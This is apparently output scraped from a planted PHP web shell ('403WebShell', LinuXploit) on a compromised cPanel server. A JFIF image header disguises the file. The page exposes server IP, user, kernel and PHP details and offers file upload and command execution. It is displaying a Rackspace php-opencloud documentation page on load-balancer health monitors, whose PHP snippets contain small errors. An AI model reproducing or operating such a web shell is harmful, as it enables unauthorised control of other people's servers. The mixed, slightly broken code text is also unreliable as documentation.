����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.141.24.158
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/www/vendor/rackspace/php-opencloud/doc/services/load-balancer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/www/vendor/rackspace/php-opencloud/doc/services/load-balancer/monitors.rst
Health Monitors
===============

.. include:: lb-setup.sample.rst

Retrieve monitor details
------------------------

.. code-block:: php

  /** @var $healthMonitor OpenCloud\LoadBalancer\Resource\HealthMonitor **/

  $healthMonitor = $loadBalancer->healthMonitor();

  printf(
      "Monitoring type: %s, delay: %s, timeout: %s, attempts before deactivation: %s",
      $healthMonitor->type, $healthMonitor->delay, $healthMonitor->timeout
  );

For a full list, with explanations, of required and optional attributes,
please consult the `official
documentation <http://docs.rackspace.com/loadbalancers/api/v1.0/clb-devguide/content/Monitor_Connections-d1e3536.html>`__


Update monitor
--------------

.. code-block:: php

  $healthMonitor->update(array(
      'delay'   => 120,
      'timeout' => 60,
      'type'    => 'CONNECT'
      'attemptsBeforeDeactivation' => 3
  ));


Delete monitor
--------------

.. code-block:: php

  $healthMonitor->delete();

Youez - 2016 - github.com/yon3zu
LinuXploit